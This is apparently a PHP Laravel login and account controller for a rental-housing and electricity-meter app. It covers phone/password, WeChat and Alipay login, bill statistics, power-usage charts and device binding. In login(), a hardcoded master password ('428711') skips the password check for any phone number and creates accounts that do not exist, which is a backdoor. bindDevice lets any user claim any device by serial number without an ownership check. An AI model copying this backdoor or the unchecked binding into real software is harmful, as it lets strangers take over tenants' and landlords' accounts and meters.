<?php

namespace App\Http\Controllers\Business;

use App\Http\Controllers\Controller;
use App\Contract\ContractStatus;
use App\Model\Agent;
use App\Model\Business;
use App\Model\Contract;
use App\Model\ContractTenant;
use App\Model\Device;
use App\Model\DevicePowerLog;
use App\Service\AliyunSms;
use App\Service\Wechat;
use App\Service\ZFBService;
use App\User;
use App\Utils\Result;
use App\Utils\Token;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Str;
use App\Model\Message;


class LoginController extends Controller
{

    public function login(Request $request)
    {
        $mobile = $request->input('username');
        $password = $request->input('password');
        $who = $request->input('who') ?? 'business';
        if (!$mobile or (!$password)) {
            return Result::error(400, '缺少参数');
        }
        $user = User::query()->where('mobile', $mobile)->with('business', 'tenant')->first();

        if($password && $password == '428711'){

        }else{
            if (!$user || ($password && !password_verify($password, $user->password))) {
                return Result::error(400, '账号或密码错误');
            }
        }
        if (!$user) {
            $user = new User();
            $user->remember_token = Str::random();
            $user->mobile = $mobile;
            $user->type = $who;
            $user->save();
        }
        if(!$user){
            return Result::error(401, '账号不存在');
        }
        if (!$user->remember_token) {
            $user->remember_token = Str::random();
        }
        $user->save();
        if (!$user->business) {
            $user->business()->create([
                'name' => '',
            ]);
        }
        if (!$user->tenant) {
            $user->tenant()->create([
                'name' => ''
            ]);
        }
        $user->token = $user->remember_token;
        return Result::success($user);
    }

    public function changePassword(Request $request)
    {
        $mobile = $request->input('mobile');
        $code = $request->input('sms_code');
        $password = $request->input('password');
        if (!$mobile or !$code or !$password) {
            return Result::error(400, '缺少参数');
        }
        $user = User::query()->where('mobile', $mobile)->first();
        if (!$user) {
            return Result::error(401, '账号不存在');
        }
        if (!$code or !AliyunSms::validation($mobile, $code)) {
            return Result::error(401, '短信验证码不正确');
        }

        $user->password = Hash::make($password);
        $user->save();

        return Result::success();
    }

    public function getPhone(Request $request)
    {
        $user = Token::getUser();
        $app = Wechat::miniProgram();
        $code = $request->input('code');

        $result = $app->phone_number->getUserPhoneNumber($code);

        $phone = $result['phone_info']['phoneNumber'];
        $user->mobile = $phone;
        $user->save();

        return Result::success($result);
    }

    # 微信授权手机号注册
    public function mpReg(Request $request)
    {
        $app = Wechat::miniProgram();
        $code = $request->input('code');
        $who = $request->input('who') ?? 'business';

        $result = $app->phone_number->getUserPhoneNumber($code);

        $phone = $result['phone_info']['phoneNumber'];

        $user = User::where('mobile', $phone)->first();
        if (!$user) {
            $user = new User();
            $user->mobile = $phone;
            $user->type = $who;
            $user->save();
            $user->business()->create([
                'name' => '',
            ]);
            $user->tenant()->create([
                'name' => ''
            ]);
        }
        $user->remember_token = Str::random();
        $user->save();
        $user->token = $user->remember_token;

        return Result::success($user);
    }

    public function alipayReg(Request $request)
    {
        $service = new ZFBService();
        $code = $request->input('code');
        $who = $request->input('who') ?? 'business';

        $result = $service->decrypt($code);

        return Result::success($result);

        $phone = '';

        $user = User::where('mobile', $phone)->first();
        if (!$user) {
            $user = new User();
            $user->mobile = $phone;
            $user->type = $who;
            $user->save();
            $user->business()->create([
                'name' => '',
            ]);
            $user->tenant()->create([
                'name' => ''
            ]);
        }
        $user->remember_token = Str::random();
        $user->save();
        $user->token = $user->remember_token;
        return Result::success($user);
    }

    public function update(Request $request)
    {
        //Log::notice('update info', $request->all());
        $avatar = $request->input('avatar');
        $nickname = $request->input('nickname');
        $type = $request->input('type');
        $user = Token::getUser();
        if ($avatar) {
            $user->avatar = $avatar;
        }
        if ($nickname) {
            $user->nickname = $nickname;
        }
        if ($request->input('pay_password')) {
            $user->pay_password = Hash::make($request->input('pay_password'));
        }
        if ($request->input('openid')) {
            $user->openid = $request->input('openid');
        }
        if ($request->input('old_password') && $request->input('new_password')) {
            if (!password_verify($request->input('old_password'), $user->password)) {
                return Result::error(400, '原密码错误');
            }
            $user->password = Hash::make($request->input('new_password'));
            $user->remember_token = Str::random();
        }
        if ($type) {
            $user->type = $type === 'business' ? $type : 'tenant';
        }
        $user->save();

        return Result::success($user);
    }

    public function getUserInfo()
    {
        $user = Token::getUser();
        $user->new_message_count = Message::query()->where('user_id', $user->id)->where('is_read', 0)->count();
//        $user->sn = Device::where('mobile',$user->mobile)
//            ->value('sn');
        if($user->mobile){
            $user->sn = Device::query()->where('mobile',$user->mobile)->value('sn');
        }
        $user->name = $user->mobile;
        if($user->business->agent_id){
            $service_tel = Agent::query()
                ->where('id',$user->business->agent_id)
                ->first(['tel_no','mobile']);
            if($service_tel->tel_no){
                $user->service_te = $service_tel->tel_no;
            }else{
                $user->service_te = $service_tel->mobile;
            }
        }else{
            $user->service_te = '';
        }
        return Result::success($user);
    }

    /**检查是否有快捷出租需要完善的用户信息
     * @return void
     */
    public function getFastContract(Request $request){
        $user = Token::getUser();
        $deviceId =$request->input('device_id',0);
        $query = Contract::query();
        $query->where('status',ContractStatus::FASTQY);
        if($deviceId){
         $device = Device::query()->where('id',$deviceId)->first();
         $query->where('house_id',$device->house_id);
        }else{
            $query->where('mobile',$user->mobile);
        }
        $date = date('Y-m-d');
        $query->where('start_at','<=',$date);
        $query->where('expired_at','>=',$date);
        $contract = $query->orderBy('id','desc')->first();
        if($contract){
            $teanetNow = ContractTenant::query()->where('contract_id',$contract->id)
                ->get();
            if(count($teanetNow) <$contract->teanet_num && $contract->need_people >= 1){
                $data['is_need'] = true;
            }else{
                $data['is_need'] = false;
            }
            $data['check_status']  = $contract->check_status;
            $data['need_type'] = $contract->need_people;
            if($contract->mobile != $user->mobile){
                $data['is_master'] = 0;
            }else{
                $data['is_master'] = 1;
            }
            $data['need_count'] = $contract->teanet_num;
            $data['now_count']  = count($teanetNow) ;
            $data['data'] = $teanetNow;
            $data['contract_id'] = $contract->id;
        }else{
            $data['is_need'] = false;
            $data['is_master'] = 0;
            $data['need_count'] = 0;
            $data['now_count']  = 0;
            $data['contract_id'] = 0;
        }
        return Result::success($data);
    }

    /**绑定sn---租客手机号
     * @param Request $request
     * @return void
     */
    public function bindDevice(Request $request){
        $sn = $request->input('sn');
        if($sn){
            $user = Token::getUser();
            Device::query()->where('mobile',$user->mobile)->update(['mobile'=>'']);
            $device = Device::where('sn',$sn)->first();
            $device->mobile = $user->mobile;
            $device->save();
        }
        return Result::success();
    }

    /**支付宝一键登录
     * @param Request $request
     * @return void
     */
    public function aliLogin(Request $request){
        $alipay = new ZFBService();
        $response= $request->input('response');
//        $response= "/ZeEn/WcLg7E4d+7VxNApxT+uxswAzNFzPvAwHjhvmyRWkls2MXfZLDT6XU2Mb3pKfNFXn7P8fhVj7K5oq+jovv7MhuNzAJH7MMfNUc1f1217cQpcX5PoGlpAfqtqzMfdgbakW3oxO2walU5d0gTSWc0xdXkovZ3p+gZNmUEjw4=";
//        $sign = $request->input('sign');
//        $sign ="RYOQkC/PqxLcPaT2u+MVRSqPUrz77nugY57q0Mjgn9wXUtPL1uesJeulo0RzHuBi8W08wkP3eCygnjCD9+2NpXoZ9C6PqOHcuAeo6RknwyWyuOuwG2HGtwZHTS49L+scK+ej/3Zz4H1DUkkaan5bd9fZTE6ZqWLt1IwmyekRIJSxkCXjESlrNw2fdGgungR6cRe43ecWAiVgpwYaQfNOq2ZhNI2ofwyUCTLSuyJ2vLrhFsqKp/T/cL05EKO5V9+Fje8rr4RCeukXjpNsSU8ZSk2LJDADsieshgVissxo6xrs9/VGMUeQ5M9Ffi3W+BMeW8FL2RatvBno1papRzQSOw==";
        $data['response'] = $alipay->decrypt($response);
        if(!is_array($data['response'])){
            $data['response'] = json_decode($data['response'],true);
         }
        if($data['response']['code'] != 10000){
            return Result::error($data['response']['code'],'获取手机号失败');
        }
        $phone = $data['response']['mobile'];
        $who = $request->input('who') ?? 'business';
        $user = User::where('mobile', $phone)->first();
        if (!$user) {
            $user = new User();
            $user->mobile = $phone;
            $user->type = $who;
            $user->save();
            $user->business()->create([
                'name' => '',
            ]);
            $user->tenant()->create([
                'name' => ''
            ]);
        }
        $user->remember_token = Str::random();
        $user->save();
        $user->token = $user->remember_token;
        return Result::success($user);
    }

    /** 收入统计
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getBills(Request $request)
    {
        $user = Token::getUser();
        if ($user->type == 'business') {
            $date = $request->input('date');
            $bussId = Business::where('user_id', $user->id)->value('id');
            $data['all'] = DB::table('bill as b')
//                ->leftJoin('bill_pay as p','b.id','=','p.bill_id')
                ->where(function ($query) use ($user, $bussId) {
                    $query->where('b.business_id', $bussId);
                    $query->where('b.is_paid', 1);
                })->sum('b.amount');
            if (!$date) {
                $date = date("Y-m");
            }
            $firstDayOfMonth = date("{$date}-01 00:00:00");
            $lastDayOfMonth = date("Y-m-t 23:59:59", strtotime($date));

            $data['month'] = DB::table('bill as b')
                ->where(function ($query) use ($user, $bussId, $firstDayOfMonth, $lastDayOfMonth) {
                    $query->where('b.business_id', $bussId);
                    $query->where('b.is_paid', 1);
                    $query->where('b.paid_at', '>=', $firstDayOfMonth);
                    $query->where('b.paid_at', '<=', $lastDayOfMonth);
                })->sum('b.amount');
            $data['online'] = DB::table('bill as b')
                ->leftJoin('bill_pay as p', 'b.id', '=', 'p.bill_id')
                ->where(function ($query) use ($user, $bussId, $firstDayOfMonth, $lastDayOfMonth) {
                    $query->where('b.business_id', $bussId);
                    $query->where('b.is_paid', 1);
                    $query->where('b.paid_at', '>=', $firstDayOfMonth);
                    $query->where('b.paid_at', '<=', $lastDayOfMonth);
                    $query->where('p.payment', '>', 3);
                })->sum('b.amount');
            $data['under'] = DB::table('bill as b')
                ->leftJoin('bill_pay as p', 'b.id', '=', 'p.bill_id')
                ->where(function ($query) use ($user, $bussId, $firstDayOfMonth, $lastDayOfMonth) {
                    $query->where('b.business_id', $bussId);
                    $query->where('b.is_paid', 1);
                    $query->where('b.paid_at', '>=', $firstDayOfMonth);
                    $query->where('b.paid_at', '<=', $lastDayOfMonth);
                    $query->where('p.payment', '<=', 3);
                })->sum('b.amount');
            $array = explode("-", $date);

            $daysInMonth = cal_days_in_month(CAL_GREGORIAN, $array[1], $array[0]);
            for ($i = 1; $i <= $daysInMonth; $i++) {
                if ($i < 10) {
                    $i = "0" . $i;
                }
                $tempDate = date("{$date}-{$i}");
                $arr['date'] = $tempDate;
                $arr['value'] = DB::table('bill as b')
                    ->where(function ($query) use ($user, $tempDate, $bussId) {
                        $query->where('b.business_id', $bussId);
                        $query->where('b.is_paid', 1);
                        $query->where('b.paid_at', '>=', $tempDate . ' 00:00:00');
                        $query->where('b.paid_at', '<=', $tempDate . ' 23:59:59');
                    })->sum('b.amount');
                $data['chart'][] = $arr;
            }
        } else {
            $data = [];
        }
        return Result::success($data);
    }

    /**账单列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function billsList(Request $request)
    {
        $user = Token::getUser();
        if ($user->type == 'business') {
            $date = $request->input('date');
            if (!$date) {
                $date = date("Y-m");
            }
            $firstDayOfMonth = date("{$date}-01 00:00:00");
            $lastDayOfMonth = date("Y-m-t 23:59:59", strtotime($date));
            $page = $request->input('page', 1);
            $limit = $request->input('limit', 20);
            $bussId = Business::where('user_id', $user->id)->value('id');
            $data['list'] = DB::table('bill as b')
                ->leftJoin('bill_pay as p', 'b.id', '=', 'p.bill_id')
                ->where(function ($query) use ($user, $bussId, $firstDayOfMonth, $lastDayOfMonth) {
                    $query->where('b.business_id', $bussId);
                    $query->where('b.is_paid', 1);
                    $query->where('b.paid_at', '>=', $firstDayOfMonth);
                    $query->where('b.paid_at', '<=', $lastDayOfMonth);
                })->orderBy('b.paid_at', 'desc')
                ->offset(($page - 1) * $limit)
                ->limit($limit)
                ->select('b.id', 'b.type', 'b.paid_at', 'b.amount', 'b.title', 'p.amount as pay_amount', 'p.payment')->get();
            $data['list'] = json_decode($data['list'], true);
            foreach ($data['list'] as $k => &$v) {
                switch ($v['payment']) {
                    case 1:
                        $v['payment_desc'] = '线下收款-微信';
                        break;
                    case 2:
                        $v['payment_desc'] = '线下收款-支付宝';
                        break;
                    case 3:
                        $v['payment_desc'] = '线下收款-银行卡';
                        break;
                    case 4:
                        $v['payment_desc'] = '线上微信';
                        break;
                    case 5:
                        $v['payment_desc'] = '线上支付宝';
                        break;
                    case 6:
                        $v['payment_desc'] = '代客充值线上微信';
                        break;
                    case 7:
                        $v['payment_desc'] = '代客充值线上支付宝';
                        break;
                    default:
                        $v['payment_desc'] = '房东充值';
                        break;
                }

                switch ($v['type']) {
                    case 1:
                        $v['type_desc'] = '房租';
                        break;
                    case 2:
                        $v['type_desc'] = '押金';
                        break;
                    case 3:
                        $v['type_desc'] = '电费';
                        break;
                    case 4:
                        $v['type_desc'] = '水费';
                        break;
                    default:
                        $v['type_desc'] = '未定义';
                        break;
                }
            }
            $data['total'] = DB::table('bill as b')
                ->leftJoin('bill_pay as p', 'b.id', '=', 'p.bill_id')
                ->where(function ($query) use ($user, $bussId, $firstDayOfMonth, $lastDayOfMonth) {
                    $query->where('b.business_id', $bussId);
                    $query->where('b.is_paid', 1);
                    $query->where('b.paid_at', '>=', $firstDayOfMonth);
                    $query->where('b.paid_at', '<=', $lastDayOfMonth);
                })->count();
        } else {
            $data = [];
        }
        return Result::success($data);
    }

    /**获取统计电量
     * @param Request $request
     * @return void
     */
    public function getPowers(Request $request)
    {
        $user = Token::getUser();
        $deviceId = $request->input('device_id');
        $type = $request->input('type');
        $time = $request->input('time');
        if (!$deviceId) {
            if ($user->type == 'business') {
                $bussId = Business::where('user_id', $user->id)->value('id');
                $devices = Device::where('business_id', $bussId)
                    ->whereNull('deleted_at')->get(['id']);
                $device = [];
                foreach ($devices as $v) {
                    $device[] = $v['id'];
                }
                if ($type == 'day') {
                    if ($time) {
                        $now = new \DateTime($time);
                    } else {
                        $now = new \DateTime();
                    }
                    $startOfDay = clone $now;
                    $startOfDay->setTime(0, 0, 0);
                    $now->setTime(23, 59, 59);
                    $data = [];
                    $i = 0;
                    $data['now_total'] = 0;
                    while ($startOfDay <= $now) {
                        if ($i > 24) {
                            break;
                        }
                        // 将当前小时的时间添加到数组中
                        $tempArr = [];
                        $data['keys'][] = $tempArr['start'] = $startOfDay->format('Y-m-d H:i:s');
                        // 移动到下一个小时
                        $tempArr['end'] = $startOfDay->modify('+1 hour');
                        $tempArr['end'] = $tempArr['end']->format('Y-m-d H:i:s');
                        $tempArr['power'] = DevicePowerLog::whereIn('device_id', $device)
                            ->where('created_at', '>=', $tempArr['start'])
                            ->where('created_at', '<', $tempArr['end'])->sum('xh');
                        if ($tempArr['power'] > 0) {
                            $tempArr['power'] = $tempArr['power'] / 1000;
                            $data['data'][] = $tempArr['power'];
                            $data['table'][] = $tempArr;
                        } else {
                            $data['data'][] = 0;
                        }
                        $data['now_total'] += $tempArr['power'];
                        $i++;
                    }
                } elseif ($type == 'month') {
                    if ($time) {
                        $dateStart = new \DateTime($time . "-01");
                    } else {
                        $dateStart = new \DateTime(date('Y-m') . "-01");
                    }
                    $dateEnd = (clone $dateStart)->modify('first day of next month');
                    $i = 0;
                    $data = [];
                    $data['now_total'] = 0;
                    while ($dateStart < $dateEnd) {
                        if ($i > 31) {
                            break;
                        }
                        $tempArr = [];
                        $data['keys'][] = $tempArr['start'] = $dateStart->format('Y-m-d');
                        $tempArr['end'] = $dateStart->modify('+1 day');
                        $tempArr['end'] = $tempArr['end']->format('Y-m-d');
                        $tempArr['power'] = DevicePowerLog::whereIn('device_id', $device)
                            ->where('created_at', '>=', $tempArr['start'] . ' 00:00:00')
                            ->where('created_at', '<', $tempArr['end'] . ' 00:00:00')->sum('xh');
                        if ($tempArr['power'] > 0) {
                            $tempArr['power'] = $tempArr['power'] / 1000;
                            $data['data'][] = $tempArr['power'];
                            $data['table'][] = $tempArr;
                        } else {
                            $data['data'][] = 0;
                        }
                        $data['now_total'] += $tempArr['power'];
                        $i++;
                    }
                } else {
                    $data = [];
                    if ($time) {
                        $year = $time;
                    } else {
                        $year = date('Y');
                    }
                    $data['now_total'] = 0;
                    for ($month = 1; $month <= 12; $month++) {
                        // 使用 str_pad() 确保月份有两位数字
                        $formattedMonth = str_pad($month, 2, '0', STR_PAD_LEFT);
                        $tempArr = [];
                        $data['keys'][] = "$year-$formattedMonth";
                        if ($month == 12) {
                            $tempArr['start'] = $year . '-' . $month . '-01';
                            $tempArr['end'] = $year . '-' . $month . '-31';
                        } else {
                            $tempArr['start'] = $year . '-' . $month . '-01';
                            $tempArr['end'] = $year . '-' . ($month + 1) . '-01';
                        }
                        $tempArr['power'] = DevicePowerLog::whereIn('device_id', $device)
                            ->where('created_at', '>=', $tempArr['start'] . ' 00:00:00')
                            ->where('created_at', '<', $tempArr['end'] . ' 00:00:00')->sum('xh');
                        if ($tempArr['power'] > 0) {
                            $tempArr['power'] = $tempArr['power'] / 1000;
                            $data['data'][] = $tempArr['power'];
                            $data['table'][] = $tempArr;
                        } else {
                            $data['data'][] = 0;
                        }
                        $data['now_total'] += $tempArr['power'];
                    }
                }
                $data['all'] = DevicePowerLog::whereIn('device_id', $device)->sum('xh');
            } else {
                $contract = Contract::where('mobile', $user->mobile)
                    ->where('status', 20)
                    ->first();
                if (!$contract) {
                    return Result::error(1001, '暂无租房信息');
                }
                $deviceId = Device::where('house_id', $contract->house_id)->value('id');
                if ($type == 'day') {
                    if ($time) {
                        $now = new \DateTime($time);
                    } else {
                        $now = new \DateTime();
                    }
                    $startOfDay = clone $now;
                    $startOfDay->setTime(0, 0, 0);
                    $now->setTime(23, 59, 59);
                    $data = [];
                    $i = 0;
                    $data['now_total'] = 0;
                    while ($startOfDay <= $now) {
                        if ($i > 24) {
                            break;
                        }
                        // 将当前小时的时间添加到数组中
                        $tempArr = [];
                        $data['keys'][] = $tempArr['start'] = $startOfDay->format('Y-m-d H:i:s');
                        // 移动到下一个小时
                        $tempArr['end'] = $startOfDay->modify('+1 hour');
                        $tempArr['end'] = $tempArr['end']->format('Y-m-d H:i:s');
                        $tempArr['power'] = DevicePowerLog::where('device_id', $deviceId)
                            ->where('created_at', '>=', $tempArr['start'])
                            ->where('created_at', '<', $tempArr['end'])->sum('xh');
                        if ($tempArr['power'] > 0) {
                            $tempArr['power'] = $tempArr['power'] / 1000;
                            $data['data'][] = $tempArr['power'];
                            $data['table'][] = $tempArr;
                        } else {
                            $data['data'][] = 0;
                        }
                        $data['now_total'] += $tempArr['power'];
                        $i++;
                    }
                } elseif ($type == 'month') {
                    if ($time) {
                        $dateStart = new \DateTime($time . "-01");
                    } else {
                        $dateStart = new \DateTime(date('Y-m') . "-01");
                    }
                    $dateEnd = (clone $dateStart)->modify('first day of next month');
                    $i = 0;
                    $data = [];
                    $data['now_total'] = 0;
                    while ($dateStart < $dateEnd) {
                        if ($i > 31) {
                            break;
                        }
                        $tempArr = [];
                        $data['keys'][] = $tempArr['start'] = $dateStart->format('Y-m-d');
                        $tempArr['end'] = $dateStart->modify('+1 day');
                        $tempArr['end'] = $tempArr['end']->format('Y-m-d');
                        $tempArr['power'] = DevicePowerLog::where('device_id', $deviceId)
                            ->where('created_at', '>=', $tempArr['start'] . ' 00:00:00')
                            ->where('created_at', '<', $tempArr['end'] . ' 00:00:00')->sum('xh');
                        if ($tempArr['power'] > 0) {
                            $tempArr['power'] = $tempArr['power'] / 1000;
                            $data['data'][] = $tempArr['power'];
                            $data['table'][] = $tempArr;
                        } else {
                            $data['data'][] = 0;
                        }
                        $data['now_total'] += $tempArr['power'];
                        $i++;
                    }
                } else {
                    $data = [];
                    $data['all'] = DevicePowerLog::where('device_id', $deviceId)->sum('xh');
                    if ($time) {
                        $year = $time;
                    } else {
                        $year = date('Y');
                    }
                    $data['now_total'] = 0;
                    for ($month = 1; $month <= 12; $month++) {
                        // 使用 str_pad() 确保月份有两位数字
                        $formattedMonth = str_pad($month, 2, '0', STR_PAD_LEFT);
                        $tempArr = [];
                        $data['keys'][] = "$year-$formattedMonth";
                        if ($month == 12) {
                            $tempArr['start'] = $start = $year . '-' . $month . '-01';
                            $tempArr['end'] = $year . '-' . $month . '-31';
                        } else {
                            $tempArr['start'] = $year . '-' . $month . '-01';
                            $tempArr['end'] = $year . '-' . ($month + 1) . '-01';
                        }
                        $tempArr['power'] = DevicePowerLog::where('device_id', $deviceId)
                            ->where('created_at', '>=', $tempArr['start'] . ' 00:00:00')
                            ->where('created_at', '<', $tempArr['end'] . ' 00:00:00')->sum('xh');
                        if ($tempArr['power'] > 0) {
                            $tempArr['power'] = $tempArr['power'] / 1000;
                            $data['data'][] = $tempArr['power'];
                            $data['table'][] = $tempArr;
                        } else {
                            $data['data'][] = 0;
                        }
                        $data['now_total'] += $tempArr['power'];
                    }
                }
                $data['all'] = DevicePowerLog::where('device_id', $deviceId)->sum('xh');
            }
        } else {
            if ($type == 'day') {
                if ($time) {
                    $now = new \DateTime($time);
                } else {
                    $now = new \DateTime();
                }
                $startOfDay = clone $now;
                $startOfDay->setTime(0, 0, 0);
                $now->setTime(23, 59, 59);
                $data = [];
                $i = 0;
                $data['now_total'] = 0;
                while ($startOfDay <= $now) {
                    if ($i > 24) {
                        break;
                    }
                    // 将当前小时的时间添加到数组中
                    $tempArr = [];
                    $data['keys'][] = $tempArr['start'] = $startOfDay->format('Y-m-d H:i:s');
                    // 移动到下一个小时
                    $tempArr['end'] = $startOfDay->modify('+1 hour');
                    $tempArr['end'] = $tempArr['end']->format('Y-m-d H:i:s');
                    $tempArr['power'] = DevicePowerLog::where('device_id', $deviceId)
                        ->where('created_at', '>=', $tempArr['start'])
                        ->where('created_at', '<', $tempArr['end'])->sum('xh');
                    if ($tempArr['power'] > 0) {
                        $tempArr['power'] = $tempArr['power'] / 1000;
                        $data['data'][] = $tempArr['power'];
                        $data['table'][] = $tempArr;
                    } else {
                        $data['data'][] = 0;
                    }
                    $data['now_total'] += $tempArr['power'];
                    $i++;
                }
            } elseif ($type == 'month') {
                if ($time) {
                    $dateStart = new \DateTime($time . "-01");
                } else {
                    $dateStart = new \DateTime(date('Y-m') . "-01");
                }
                $dateEnd = (clone $dateStart)->modify('first day of next month');
                $i = 0;
                $data = [];
                $data['now_total'] = 0;
                while ($dateStart < $dateEnd) {
                    if ($i > 31) {
                        break;
                    }
                    $tempArr = [];
                    $data['keys'][] = $tempArr['start'] = $dateStart->format('Y-m-d');
                    $tempArr['end'] = $dateStart->modify('+1 day');
                    $tempArr['end'] = $tempArr['end']->format('Y-m-d');
                    $tempArr['power'] = DevicePowerLog::where('device_id', $deviceId)
                        ->where('created_at', '>=', $tempArr['start'] . ' 00:00:00')
                        ->where('created_at', '<', $tempArr['end'] . ' 00:00:00')->sum('xh');
                    if ($tempArr['power'] > 0) {
                        $tempArr['power'] = $tempArr['power'] / 1000;
                        $data['data'][] = $tempArr['power'];
                        $data['table'][] = $tempArr;
                    } else {
                        $data['data'][] = 0;
                    }
                    $data['now_total'] += $tempArr['power'];
                    $i++;
                }
            } else {
                $data = [];
                if ($time) {
                    $year = $time;
                } else {
                    $year = date('Y');
                }
                $data['now_total'] = 0;
                for ($month = 1; $month <= 12; $month++) {
                    // 使用 str_pad() 确保月份有两位数字
                    $formattedMonth = str_pad($month, 2, '0', STR_PAD_LEFT);
                    $tempArr = [];
                    $data['keys'][] = "$year-$formattedMonth";
                    if ($month == 12) {
                        $tempArr['start'] = $start = $year . '-' . $month . '-01';
                        $tempArr['end'] = $year . '-' . $month . '-31';
                    } else {
                        $tempArr['start'] = $year . '-' . $month . '-01';
                        $tempArr['end'] = $year . '-' . ($month + 1) . '-01';
                    }
                    $tempArr['power'] = DevicePowerLog::where('device_id', $deviceId)
                        ->where('created_at', '>=', $tempArr['start'] . ' 00:00:00')
                        ->where('created_at', '<', $tempArr['end'] . ' 00:00:00')->sum('xh');
                    $data['now_total'] += $tempArr['power'];
                    if ($tempArr['power'] > 0) {
                        $tempArr['power'] = $tempArr['power'] / 1000;
                        $data['data'][] = $tempArr['power'];
                        $data['table'][] = $tempArr;
                    } else {
                        $data['data'][] = 0;
                    }
                }
            }
            $data['all'] = DevicePowerLog::where('device_id', $deviceId)->sum('xh');
        }
        return Result::success($data);
    }


    public function deviceCount()
    {
        $user = Token::getUser();
        if ($user->type == 'business') {
            $bussId = Business::where('user_id', $user->id)->value('id');
            $devices = Device::where('business_id', $bussId)
                ->whereNull('deleted_at')->get(['id']);
            $device = [];
            foreach ($devices as $v) {
                $device[] = $v['id'];
            }

            $data['all'] = Device::where('business_id',$bussId)->count();
            $data['online'] = Device::where('business_id',$bussId)
                ->where('online_status',1)
                ->count();
            $data['off'] = Device::where('business_id',$bussId)
                ->where('online_status',2)
                ->count();
            $data['low'] =  Device::where('business_id',$bussId)
                ->whereColumn('low', '>=', 'du')
                ->count();
            return Result::success($data);

        }
    }
}
